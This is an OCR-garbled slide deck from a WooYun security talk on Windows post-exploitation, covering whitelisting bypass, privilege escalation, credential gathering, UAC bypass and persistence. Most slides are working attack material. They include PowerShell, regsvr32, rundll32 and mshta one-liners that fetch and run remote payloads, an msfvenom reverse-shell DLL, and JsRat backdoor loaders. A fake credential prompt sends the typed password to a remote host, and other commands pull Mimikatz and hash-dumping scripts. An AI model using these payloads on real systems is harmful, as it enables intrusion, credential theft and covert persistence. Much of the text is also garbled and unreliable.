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Shell is Only the Beginning— — J& 212 b Bx 0255 %5 i

3gstudent & Evilcg
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As a offensive researcher, if you can dream it,someone has likely already done it and that someone isn’t the kind of
person who speaks at security cons...
—Matt Graeber

— — 4\,
&> ==woovun ‘ - ig@ﬂk zoze



3gstudent

o

Good Study Good Health Good Attitude

— — 4\,
&> ==woovun ‘ - ;”f&%ﬂk zoze



Thin WhiteHat Security Researcher

— — 4\,
&> ==woovun ‘ - ig@ﬂk zoze



B 5 1 =
ERWEH

e AR — STk, U
R AT AE WA B R 0 72

BB

VIRsErlk 55 KRB v H R, iR

ol ISR ) SR At i, IR S 3R A

JH R b BAME AN i AT 2 4
PRI B4 BANBE

‘5 5% WooYun ‘ @ ig‘?‘k%'w%



x

ol O

- IH—RBE . HIHIN o IRIEE - EBRBfA « B—I1EE o FRIER
e Open Proxy e Bypass Application Whitelisting < Escalate Privileges e Gather Information e Persistence e Detection and Mitigations
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7 515

um[3% % : Client—> Lcx, Netsh: HTTP-> Tunnel: Metasploit—> Portpwd
Socks{XI®: Client—> Ew, Xsocks: HTTP—> ReGeorg: Metasploit—> Socks4a
Hfth: SSH, ICMP 3

==

Vpn
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eg: Windows Applocker
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Windows AppLocker
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Bypass Application Whitelisting
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Hta

Office Macro
Cpl

Chm
Powershel |
Rund | 132
Regsvr32
RegsVvces
Instal luti|
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<HTML>
< I_] E ."‘i"v. [jl >
<script language="VBScript">

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell —nop —-exec bypass —c IEX (New-Object
Net.WebClient).DownloadString('http://ip:port/"')"
</script>

</HEAD>
<BODY>

</BODY>
</HTML>

1. Hta

More:

Mshta. exe

vbscript:CreateOb ject ("Wscript. Shell").Run("calc. exe", 0, true) (window. ¢l
ose)

Mshta. exe javascript:"\..\mshtml, RunHTMLApplication

"-document. wr ite () ;h=new%20ActiveX0bject ("WScript.Shell"). run("calc. exe
" 0, true) ;try{h. Send () ;b=h. ResponseText;eval (b) ;}catch (e) {new%20Act iveX
Object ("WScript. Shell").Run("emd /¢ taskkill /f /im

mshta. exe", 0, true) :}

— — %,
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2. Office Macro

MacroRaptor :
e Detect malicious VBA Macros
e Python

e https://bitbucket. org/decalage/oletools/wiki/mraptor
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3. Cpl

DLL/CPL:

/E % Payload.dll:
msfvenom -p windows/meterpreter/reverse tcp-b \xO0\xff’ |host=192.168.127.132 lport=8888 -f dll -o payload.dll

(1) EREETTdl

rundll32 shell32.dll,Control_RunDLL payload.dll
(2) ‘FrdIIEE A4 Acpl, AadoT

(3) I dIE BRI A 45 4

From: http://drops.wooyun.org/tips/16042
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4. Chm

BAASHITE TR WFR1]:
http://drops.wooyun.org/tips/14254

FI R GECHM S SE B RS 1T
(PR A TBL I B 2T ER T5)
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5. Powershell

Command: 20525 B powershell:
* powershell -nop -exec bypass -c IEX (New-Objectet.WebClient).DownloadString(‘http://ip:port/') e 1T .Net#iiTpowershell :
* Get-Content payload.psl | iex https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
 cmd.exe /K < payload.bat  pOwnedShell :
Lnk ° https://github.com/Cn33liz/pOwnedShell
* PowerOPS :

 powershell -nop -windows hidden -E YWBhAGWAYWAUAGUAeABIAA==
https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/

&> == Woovun ‘ )y FEOHRS 2010



6. Rundll32

javascript :

rundll32.exe javascript:“\..\mshtm|,RunHTMLApplication ”;document.write();new%20ActiveXObject(“WScript.Shell”).Run(“powershell -nop -
exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://ip:port/’);”)

DIl :

rundll32 shell32.dll,Control_ RunDLL payload.dll

From: http://drops.wooyun.org/tips/11764
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/. Regsvr32

<?XML version="1.0"7>

Regsvr32.exe (.sct) :

1
2 <scriptlet>
3 <registration
D L 4 progid="ShortJSRAT"
— M EE T classid="{10001111-0000-0000-0000—0000FEEDACDC}" >
b
7 <script language="JScript">
.. - 8 <! [CDATAI
regsvr32 /u /n /S /|.payload.sct SCFObJ.d” g rat="powershell -nop -exec bypass -c IEX (New-Object
Net.WebClient).DownloadString('http://ip:port/')";
. : , 10 new ActiveXObject("WScript.Shell").Run(rat,9,true);
regsvr32 /u /n /s [i:http://ip:port/payload.sct scrobj.dll 11
12 11>
. 13 </script>
ZE;%EE?EE 14 </registration>
15 </scriptlet>
From:

http://subt0x10.blogspot.jp/2016/04/bypass-application-whitelisting-script.hntml| http://drops.wooyun.org/tips/15124
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8. Regsvcs

Regasm & Regsvcs : 1 Using System; . .
using System.EnterpriseServices;

3 using System.Runtime.InteropServices;
2l key -> key.snk | using System.Management.Automation;
Skey = 5 namespace regsvcser
‘BWIAAAAKAABSUOEYAAQAAAEAAQBhXtvkSeH 85E31264cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLIdHphY5ppg5clHIGalL7nZbp6 qukLHOILEQ/VW979GWzVA ; i
g5Z7aGVCFpukbply69cSr3STIzljirY76JljeS4+RhbdWHp99y8QhwRIIOCOqu/WxZaffHS2te/PKzliTuFfcP46 gxQoLR8s3QZhAJBNn9TGJ kbix8MTgEt7hD1DC2hXv7dKaC5 7
31ZWqGXB540nuvFbD5P2t+vyvZuHNmAy3 pXOBDXqwEfoZZ+hilk1lYUD SNOE79zwnpVP1+BNOPK5QCPCS+6zujfRIQpl+nfHLLicwel9uT70G3g/P+JpXGNO/+Hitoluf : public class Bypass : ServicedComponent
07Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsgnzwEUfL5+080hujBHDmM/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343VINBwt1+qZU+TSVPU : {
OwRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQS8zblIr)JFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBlg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHc public Bypass() { Console.WriteLine("I am a basic COM Object"); }
gJx6FpVK7geEuvyVOOGKvNor9b/WKQHIHjkzG+z6 nWHMoMYV5VMTZ0jLM5aZQ6ypwm FZaNmtL6KD zKv8L1YN 2TkKjXEo WulXNIiBpelsSlyulCplrCTPGGSXPGihT3r 11
pZ9tbLZUefrFnLNiHfVjNi53Yg4=’ 12 [ComUnregisterFunction]
SContent = [System.Convert]::FromBase64String(Skey) public static void UnRegisterClass ( string key )
Set-Content key.snk -Value SContent -Encoding Byte 14 {
I 1 15 PowerShell ps = PowerShell.Create();
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Regasm.dll /keyfile:key.snk Regasm.cs ps.AddCommand (" Invoke-Expression");
SEAT 17 ps.AddArgument ("payload");
C:\Windows\Microsoft. NET\Framework\v4.0.30319\regsvcs.exe Regasm.dll 18 ps. Invoke();
[OR] }
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe Regasm.dll 20 }

[/ R AT B AR A ] /uskesnd T

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U Regasm.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Regasm.dll

From: https://gist.github.com/subTee/elc54elfdafc15674c9a
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9. Installutil

InstallUtil : o syeten
U }A‘$¥§tem Management Automation;
static void Main(string[] args)
§
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe /unsafe -
. . [System. ComponentModel RunInstaller(true)]
/platform:x64 /out:InstallUtil.exe InstallUtil.cs £TEIFIe Gios e § S Conr e o e el
i;gl;; override void Uninstall(System.Collections.IDictionary savedState)
> D \__"/ owerShe s = PowerShell.Create();
‘[’:F‘ U\ E ~ /U %é“& gs.Adzgol}n}laﬁd("Izvokeigx;]r:e(s:sioﬁ"gz
ps.AddArgument ("payload");
. ps.Invoke();
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\InstallUtil.exe /U ;
InstallUtil.exe
From:

http://subt0x10.blogspot.jp/2015/08/application-whitelisting-bypasses-101.html http://drops.wooyun.org/tips/8862
&> =% woovun ‘ < ig@_ﬂkﬁ\'w“
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81T psHIA T fi v] 5 N 1 BSAES A T 2tk . http://go.mssec.se/AppLockerBC

[»yving to execute in writable

[»ying to execute in writable
[»yving to execute in writable
-11D1—-85E5—-8A8CA4FC295EE>

[»ying to execute in writable

folder» C:\Windows“\System3Z2\FxsTmp

folder» C:\Windows“\System32\Tasks
folder» C:\Windows“\System32\catrootZ2\{F?758E6C3—38EE

folder» C:\Windows“\System32“\com“\dmp

FullName

C:\Windows\debug\WIANABCtestfile.exe

C:\Windows \PCHEALTH\ERRORREP\QHEADLES\ABCtestfile.exe

C:\Windows \PCHEALTHN\ERRORREP\QSIGNOFF\ABCtestfile.exe
C:\Windows\Registration\CRMLog\ABCtestfile.exe
C:\Windows\System32\catroot2\{F7?58E6C3-38EE-11D1-85E5-AACA4FC295EE> \ABCtestf ...
C:\Windows\System32\FxsTmp\ABCtestfile.exe
C:\Windows\System32\spooldriverscolor\ABCtestfile.exe
C:\Windows\Tasks\ABCtestfile.exe

C:\Windows\tracing\ABCtestfile.exe

The following paths allow write and execute

From: http://drops.wooyun.org/tips/11804
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Escalate Privileges
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ARPEAD T 5 Kb E & B A A(E]

https://github.com/GDSSecurity/Windows-Exploit-Suggester

Bt ZA 1T H M systeminfo T -

Systeminfo > 1.txt

(5

BIAS I A E B TR

Pl

—

44

]

I ) A A

H 31 A

AN

k7Y

python windows-exploit-suggester.py --database 2016-05-31-mssb.xls -- i

systeminfo ~/Desktop/1.txt

initiating winsploit version 3.1...

database file detected as xls or xlsx based on extension

attempting to read from the systeminfo input file

systeminfo input file read successfully (GB2312)

querying database file for potential vulnerabilities

comparing the 2 hotfix(es) against the 332 potential bulletins(s) with a database of 122 known exploits
there are now 332 remaining vulns

[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin

windows version identified as 'Windows 7 SP1 64-bit'

MS15-134: Security Update for Windows Media Center to Address Remote Code Execution (3108669) - Important
MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important

MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important

MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
MS15-100: Vulnerability in Windows Media Center Could Allow Remote Code Execution (3087918) - Important

MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical

MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
MS15-01@: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical

MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical

MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important

MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical

MS14-035: Cumulative Security Update for Internet Explorer (2969262) - Critical

MS14-029: Security Update for Internet Explorer (2962482) - Critical

MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important

MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical

MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important

MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical

MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical

MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical

MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical

MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical

MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical

MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical

MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical

MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important

done

‘5 52 WooYun

Windows-Exploit-Suggester [master] 4 python windows-exploit-suggester.py --database 2016-05-31-mssb.xls --systeminfo ~/Desktop/1.txt
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Exp# 7% |
IFExp & fPowershel | :
http://evilcg. me/archives/MS16—032-Windows—Privilege—Escalation. html
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PowerToo.. SoapUI B e LR

N C:\Windows\system32\cmd.exe

C:\Users\evilcg\Desktop>cmd
Microsoft Windows [H]ﬁZfK 6.1.76011]

Hﬁ*ﬂﬁﬁﬁ (c> 2808? Microsoft Corporation. ﬁ%ﬁﬁﬁ/‘fifﬂjo

C:\UsersNevilcg\Desktop>ne

D% . o 1156 [ SEWootun | £ psmne-2ose
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Mssqgl, Mysql, Oracle, Ftp
B=FR:

DIBhEF, SCHEDFF

RN ZASPowerup:

http://drops.wooyun.org/tips/11989

£ z68Kk4 - 2016
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FIFH B2 #A89Windows PRy [a]R, LAGKISAMNREEFH —> Potato
H T FEANTLMEZE 3R 2EFHTTP > SMBHhZk) FONBNSErIRIHITIRAY

ESLE

http://tools. pwn. ren/2016/01/17/potato—windows. html
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Phishing

MSF Aski&EiR .

exploit/windows/local/ask
1813 runas F I\ RIF S A P18 = thuacl@ b k3R Bl & S PR

EE(EICAIms TR :

metasploit/|ib/msf/core/post/windows/runas. rb %

- WoooO~NOOTULTE WNRK

-

>

def shell_execute_exe(filename = nil, path
exe_payload = generate_payload_exe

= nil)

payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'

payload_path = path || get_env('TEMP')

cmd_location = "#{payload_path}\\#{payload_filename}"
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")

write_file(cmd_location, exe_payload)
command, args = cmd_location, nil
shell_exec(command, args)

end

runas.rb X

def shell_execute_exe(filename = nil, path =
exe_payload = generate_payload_exe

nit)

W

payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'

payload_path = path || get_env('TEMP')
cmd_location

"#{payload_path}\\#{payload_filename}"

rb runas.rb

print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")

virdita Filalermd 1lacsa+inn ava navlaad)

command = 'cmd.exe'
args = "/k start "+ cmd_location + "& exit"
shell_exec(command, args)

Clid

—r -
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Phishing Demo

‘b 52 WooYun ‘ Q ig@_ﬂkﬁ\'w“



3. sudo msfcon

sole (sudo)

msf exploit(web_delivery) > sessions

Active sessions

mEEEEEEE

No active sessions.

msf exploit(web_delivery) > I

CEIESTY

M R e R

-

osoft Windows iR 6.1.76811
Eﬁ%i (c) 208? Microsoft Corporation, ﬁﬁ%gﬁﬁ%ifQﬁUo

sers\evilcg>powershell.exe —nop —w hidden —c $M=new-ohject net.webclient;SM.
y=[Net .WebRequest 1: :GetSystemWehProxy();5M.Proxy.Credentials=[Net.Credential
el::DefaultCredentials;IER SM.downloadstring{’http://192.168.2.100:86088/’);

._|\_;+.00|3\_;.|j‘_ ||!""B

. [nz t-gaiEfVVCNjYL“1 | <;£;;2)
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Gather Information
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Gather Information

BRATEN, WFRINFEZEEREEEREGMTA?
PETRIE L -

1: BERENE T &SR, AA

2: RIEW, APEBUACIRIF, S REMTBHIE

P

lin
m~
d1
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Bypass UAC

BHRE:

v £ IFileOperation COM}E
v {FFHWusa. exeliextractifkIn

v EF2;E NSHELLCODE ZI{R{RiFHFZ
v DLLENH, EFFARGRIDLLI
v BEERENUIUAC

v Phishing

http://evilcg.me/archives/Powershell Bypass UAC.html

v’ http://www. powershel lempire. com/?page id=380
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A7 TR, Zift 2

® 0o O
meterpreter > run post/windows/gather/
Display all 112 possibilities? (y or n)
run post/windows/gather/ad_to_sqlite run post/windows/gather/credentials/tortoisesvn run post/windows/gather/enum_powershell_env
run post/windows/gather/arp_scanner run post/windows/gather/credentials/total_commander run post/windows/gather/enum_prefetch
run post/windows/gather/bitcoin_jacker run post/windows/gather/credentials/trillian run post/windows/gather/enum_proxy
run post/windows/gather/bitlocker_fvek run post/windows/gather/credentials/vnc run post/windows/gather/enum_putty_saved_sessions
run post/windows/gather/cachedump run post/windows/gather/credentials/windows_autologin run post/windows/gather/enum_services
run post/windows/gather/checkvm run post/windows/gather/credentials/winscp run post/windows/gather/enum_shares
run post/windows/gather/credentials/bulletproof_ftp run post/windows/gather/credentials/wsftp_client run post/windows/gather/enum_snmp
run post/windows/gather/credentials/coreftp run post/windows/gather/dnscache_dump run post/windows/gather/enum_termserv
run post/windows/gather/credentials/credential_collector run post/windows/gather/dumplinks run post/windows/gather/enum_tokens
. N Y ‘,__ oo — 2 y- run post/windows/gather/credentials/domain_hashdump run post/windows/gather/enum_ad_bitlocker run post/windows/gather/enum_tomcat
E: ~ I ” S jt 5 ,l‘ﬁ\ run post/windows/gather/credentials/dyndns run post/windows/gather/enum_ad_computers run post/windows/gather/enum_unattend
7emst SC-L > y Ii IJ_'.I.J [m =] J,J -L \ y L1 I —| =5 run post/windows/gather/credentials/enum_cred_store run post/windows/gather/enum_ad_groups run post/windows/gather/file_from_raw_ntfs
run post/windows/gather/credentials/enum_laps run post/windows/gather/enum_ad_managedby_groups run post/windows/gather/forensics/browser_history
run post/windows/gather/credentials/enum_picasa_pwds run post/windows/gather/enum_ad_service_principal_names run post/windows/gather/forensics/duqu_check
run post/windows/gather/credentials/epo_sql run post/windows/gather/enum_ad_to_wordlist run post/windows/gather/forensics/enum_drives
E J;I_ run post/windows/gather/credentials/filezilla_server run post/windows/gather/enum_ad_user_comments run post/windows/gather/forensics/imager
.E 16% run post/windows/gather/credentials/flashfxp run post/windows/gather/enum_ad_users run post/windows/gather/forensics/nbd_server
run post/windows/gather/credentials/ftpnavigator run post/windows/gather/enum_applications run post/windows/gather/forensics/recovery_files
run post/windows/gather/credentials/ftpx run post/windows/gather/enum_artifacts run post/windows/gather/hashdump
run post/windows/gather/credentials/gpp run post/windows/gather/enum_av_excluded run post/windows/gather/local_admin_search_enum
o | run post/windows/gather/credentials/heidisql run post/windows/gather/enum_chrome run post/windows/gather/lsa_secrets
K run post/windows/gather/credentials/idm run post/windows/gather/enum_computers run post/windows/gather/make_csv_orgchart
J ‘fTﬂP\¢1r<; run post/windows/gather/credentials/imail run post/windows/gather/enum_db run post/windows/gather/memory_grep
run post/windows/gather/credentials/imvu run post/windows/gather/enum_devices run post/windows/gather/netripper
run post/windows/gather/credentials/mcafee_vse_hashdump run post/windows/gather/enum_dirperms run post/windows/gather/ntds_location
run post/windows/gather/credentials/meebo run post/windows/gather/enum_domain run post/windows/gather/outlook
run post/windows/gather/credentials/mremote run post/windows/gather/enum_domain_group_users run post/windows/gather/phish_windows_credentials
Ne-t r I p pe r run post/windows/gather/credentials/mssql_local_hashdump run post/windows/gather/enum_domain_tokens run post/windows/gather/resolve_sid
run post/windows/gather/credentials/nimbuzz run post/windows/gather/enum_domain_users run post/windows/gather/reverse_lookup
run post/windows/gather/credentials/outlook run post/windows/gather/enum_domains run post/windows/gather/screen_spy
run post/windows/gather/credentials/razer_synapse run post/windows/gather/enum_emet run post/windows/gather/smart_hashdump
run post/windows/gather/credentials/razorsql run post/windows/gather/enum_files run post/windows/gather/tcpnetstat
run post/windows/gather/credentials/rdc_manager_creds run post/windows/gather/enum_hostfile run post/windows/gather/usb_history
run post/windows/gather/credentials/skype run post/windows/gather/enum_ie run post/windows/gather/win_privs
run post/windows/gather/credentials/smartermail run post/windows/gather/enum_logged_on_users run post/windows/gather/wmic_command
run post/windows/gather/credentials/smartftp run post/windows/gather/enum_ms_product_keys run post/windows/gather/word_unc_injector
run post/windows/gather/credentials/sso run post/windows/gather/enum_muicache
run post/windows/gather/credentials/steam run post/windows/gather/enum_patches

meterpreter > run post/windows/aather/ll
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GetPass Tips

I FRYBASCE

| FMIAIRSZERS, RIS

L .
N

powershe | | BEIZR 20T~ -

O 00O ~JOYUT BHUWN K-

$cred = host.ui.promptforcredential('Failed Authentication','', [Environment]::UserDomainName + "\" +
$[Environment]::UserName, [Environment] : :UserDomainName) ; [System.Net.ServicePointManager]::ServerCert
$ificateValidationCallback = {true}; wc = new-object net.webclient; wc.Headers.Add("User-
$Agent","Wget/1.9+cvs-stable (Red Hat modified)"); wc.Proxy =

$[System.Net.WebRequest]: :DefaultWebProxy; wc.Proxy.Credentials =
$[System.Net.CredentialCache] : :DefaultNetworkCredentials; wc.credentials = new-object
$system.net.networkcredential(cred.username, cred.getnetworkcredentiall().password, ''); result =
$wc.downloadstring('https://172.16.102.163"');

Windows LAY b.1.76H1] e
Cc) 2002 Micvn=nft Covnnwatinn - 1IEL::—2E|FF_E*T'-_-"#”

evilcg>pou
pwerihell l
<G> 28492 F

rs~evilcg?
ronment ]::
inMame > ; L[5
{Struel;

-

-
G

L

led Authen

$ﬁilj ,"'. 'J::]:E’IJEF%E o 4ame - [EI’I L 1
CoT T ificatelal

AR € WINT\evileg

T (P

From:https://github. com/Ridter/Pentest/blob/master/note/Powershel | MSFCapture. md
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GetPass Tips

meterpreter > run post/windows/gather/phish_windows_credentials

MSF & 1 +] PowerShell is installed.
. . . . *] Starting the popup script. Waiting on the user to fill in his credentials...
post/windows/gather/phish_windows credentials ¥ g the popup SCrip 9
[+] UserName Domatin Password
evilcg WIN7 1
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Instal led Programs

- Startup |tems

Instal led Services

- Secur ity Services - File/Printer Shares - DatabaseServers - Certificate Authority

Sensitive Data

- Key—logging - Screen capture - Network traffic capture
User Information

System Configuration

- Password Policy - Security Policies * Configured Wireless Networks and Keys
&> == Wwoovun ‘ )y FEOHRS 2010
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LT :

powershel | —nop —exec bypass —¢  “IEX (New—0bject Net.WebClient).DownloadString( ‘http://evilcg. me/powershel|/Show-TargetScreen. ps1’ ): Show-TargetScreen”

RE:

powershel| —nop —exec bypass —¢ “IEX (New—0bject Net.WebClient).DownloadString( ‘https://raw. githubusercontent. com/PowerShel IMafia/PowerSploit/dev/Exfiltration/Get—MicrophoneAudio.ps1’ ) ;Get-—
MicrophoneAudio —Path $env:TEMP\secret.wav —Length 10 —Alias ‘SECRET’ ”

i Skhads

powershel | —nop —exec bypass —¢  “IEX (New—0bject Net.WebClient).DownloadString( ‘https://raw. githubusercontent. com/xorrior/RandomPS—Scripts/master/MiniEye. ps1’ ): Capture—-MiniEye —RecordTime 2 -

Path $env:temp\hack.avi” —Path $env:temp\hack. avi’

H(Hash:

powershell IEX (New—Object Net.WebClient).DownloadString( ‘https://raw. githubusercontent. com/samratashok/nishang/master/Gather/Get—PassHashes. ps1’ ) ;Get—-PassHashes

HMAA3L :

powershel |l [EX (New—Ob ject Net.WebClient).DownloadString ('https://raw. githubusercontent. com/mattifestation/PowerSploit/master/Exfiltration/Invoke—-Mimikatz. ps1'): Invoke-Mimikatz

‘b 5% WooYun ‘ @ ?é@_ﬁk%'w%
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Empire: Metasploit:
Empire: PowerShell post-exploitation agent | [Version]: 1.5.0
[Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmjQy, @sixdub, @enigmadx3
Powershell Commands
0 v L N N T
I 1__ N 7 1 12D °t1 11 12D | I I
| S D B AV B /7 1 11 / | |
L I P Command Description
. 1 11 _l (11 _1 . | I
162 modules currently loaded powershell_execute Execute a Powershell command string
| Tisteners currently active powershell_import Import a P§1 scrlp’F or .NET Assembly DLL
powershell_shell Create an interactive Powershell prompt
@ agents currently active
(Empire) > meterpreter > |}
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JsRat:

rundl132.exe javascript:”\..\mshtml, RunHTMLApplication
'""document.write() ;h=new%s20ActiveXObject ("WinHttp.WinHttpRequest.
5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.S
end();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject ("WSc
ript.Shell").Run("cmd /c taskkill /f /im rundl132.exe",0,true);}

From:
(JavaScript Backdoor ) http://drops.wooyun.org/tips/11764
(JavaScript Phishing)  http://drops.wooyun.org/tips/12386

‘b 2% WooYun ‘ Q %gg"*é'wlé



o3 2 (=)- mshta

BzllJsRat :

Mshta javascript:"\..\mshtml, RunHTMLApplication
"";document.write();h=new%s20ActiveX0bject("WinHttp

.WinHttpRequest.5.1");h.Open("GET","http://192.16

8.2.101:9998/connect", false);try{h.Send() ;b=h.Res
ponseText;eval(b);}catch(e){new%s20ActiveXObject("

WScript.Shell").Run("cmd /c taskkill /f /im
mshta.exe",0,true);}

‘b 5% WooYun ‘ @ ;’;éi’ké'””"



SCT:

-

regsvr32 /u /s
/1:http:

From:

X

/_

Calc.sct

)

< (V4)- sct

<?XML version="1.0"7?>

<scriptlet>

<registration
progid="ShortJSRAT"
classid="{10001111-0000—-0000—0000—000OFEEDACDC}" >

<script language="JScript'>

<! [CDATAIL
rat="calc.exe";
new ActiveXObject("WScript.Shell").Run(rat,®,true);
11>

</script>

</registration>

</scriptlet>

{ Use SCT to Bypass Application Whitelisting Protection ) http://drops.wooyun.org/tips/15124
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Wsc:

rundl132.exe

X

/_

javascript:"\..\mshtml,RunHTMLApplic

ation

";document.write();GetObject("script

thttp://urlto/calc.wsc")

From:

Calc.wsc

)

) - WSC

<?xml version="1.0"?>

<package>

<component id="testCalc">

<script language="JScript">

<! [CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
11>

</script>

</component>

</package>

{ WSC. JSRAT and WMI Backdoor )) http://drops.wooyun.org/tips/15575
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Demo Time
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PENFILES ¢ >  regsvr32 /u /s [i:http://192.168.1.100/calc.sct sc v
. regsvr3Z |/
regsvr32 /u /s /i:http://192.168.1.100/calc.sct scrobj.dll E . u . u
3 rundl132.exe javascript:"\..\mshtml,RunHTMLApplication shellter fackbat  MS-Windo...
":document.write();GetObject("script:http://192.168.1.100/calc.wsc")

Mozilla & win32

F'refox

¢+ =

o R

1 m,"ar,r':w,kn[_\ Al ~ [ "“I
. VI b-:\(\‘ viaCB00K. ‘_7 |

Last login: Tue Jun 7 20:06:59 on ttys@d5

’NI

S

DOWETSHE! VAN KONC EPOWERI 00 |

-

o]

OWER 00| MR UTOTUTSICXCINNTES TZ) D}

=]

SSouUrce LiL.. -;l“oqlc M

g UTF‘S:
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W ITIA

v REhIn
v EMER
v wmi

v at

v’ schtasks
v HRBEERNE=ZRFRSE
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Bitsadmin:

» FERSEHEHRVR

« AIAHBEESN. ERED

e EAHTWin7 . Win8. Server 2008 K LA EiRIER S
o A% Autorunst /3 T BY Fa N

e BFEIRXZEMSRC (Microsoft Security Response Center)

~

5 Autoruns Compare with [WIN-FVJLPTISCFE.arn] - Sysinternals: www.s... = B
File Entry Options Help

‘ lIZ‘ 2] # Filter:

E] Codecs | =] BootExecute | [ Image Hijacks | | % ApplInit | | % KnownDLLs B Winlogon h" Winsock Providers
‘2 PrintMonitors | %) LSA Providers 2" NetworkProviders | @ WMI | [ Sidebar Gadgets | I Office
&2 Everything _»*«!; Logon " Explorer L@ Internet Explorer _ﬂ Scheduled Tasks 5‘%} Services ;@, Drivers

Description Image Path Timestar

AutoRuns Error

| &
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Demo Time
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=3 x

3] Autoruns - Sysinternals: www.sysinternals.com -
File Entry Options Help
LIZJ #3 Filter: l l

| M ! ] | M 2
‘.‘E Winlogon | &2 Winsock Providers

)E Codecs | 7] Boot Execute | 79 Image Hijacks | |® ApplInit | |% KnownDLLs
<& Print Monitors ®) LSA Providers L* Network Providers % WMI B Sidebar Gadgets lj Office

&4 Everything 25 Logon E Explorer | & Internet Explorer E Scheduled Tasks 9@ Services 5 Drivers
Autorun Entry Description Publisher Image Path Timestar
g’ HKLM\System\CumentControlSet\Services 201673/

% 3ware LS| 3ware SCSI| Storport Dri... LS| c:\windows'\system32\drive... 2013/4/°
% ADP80XX PMC-Siema Storport Driver ... PMC-Siemra c:\windows'\system32\drive... 2013/7/°
‘%, amdsata AHCI 1.3 Device Driyer Advanced Micro Devices c:\windows\system32\drive... 2013/7/¢
‘“%| amdsbs AMD Technology ARCI Co... AMD Technologies Inc. c:\windows\system32\drive... 2012/12
“| amdxata Storage Filter Driver Advanced Micro Devices c:\windows'\system32\drive... 2013/7/¢
“| arcsas Adaptec SAS RAID WS03 ... PMC-Siema, Inc. c:\windows\system32\drive... 2013/7/¢
“%| bemfn2 BCM Function 2 Device Dr... Windows (R) Win 7 DDK pr... c:\windows\system32\drive... 2013/8/:
%, eliexpress Intel(R) Gigabit Adapter NDI... Intel Corporation c:\windows'\system32\drive... 2013/3/:
“| GPIO Intel(R) Atom(TM) Processo... Intel Corporation c:\windows'\system32\drive... 2013/6/:
g HKLM\Software\Microsoft\Windows NT\CumrentVersion\Drivers32 2016/3/:
| msacm |3acm MPEG Layer-3 Audio Code... Fraunhofer Institut Integriert... c:\windows\system32\3co... 2013/8/:
%] vidc.cvid Cinepak® ‘mitiaze Radius Inc. c:\windows\system32\iccvi... 2013/8/:
ﬂ" HKLM\SOFTWARE\Classes'\Htmffile\.Shel\Open“Command‘(Default) 2013/8/:
= C:\Program Fil... Intemet Explorer Microsoft Comporation c:\program files\intemet ex... 2014/3/:
ﬂ" HKLM\System\CumentControlSet\Services\WinSock 2\Parameters'\Protocol_Catalog9\Catalog_Entries 2016/3/:
“| vSockets DGR... VSockets Library VMware, Inc. c:\windows'\system32\vsoc... 2014/9/¢
“| vSockets STR... VSockets Library VMware, Inc. c:\windows'\system32\vsoc... 2014/9/¢
ﬂ" HKLMA\SYSTEM\CumentControl Set\Control\Print\Monitors 2016/3/:
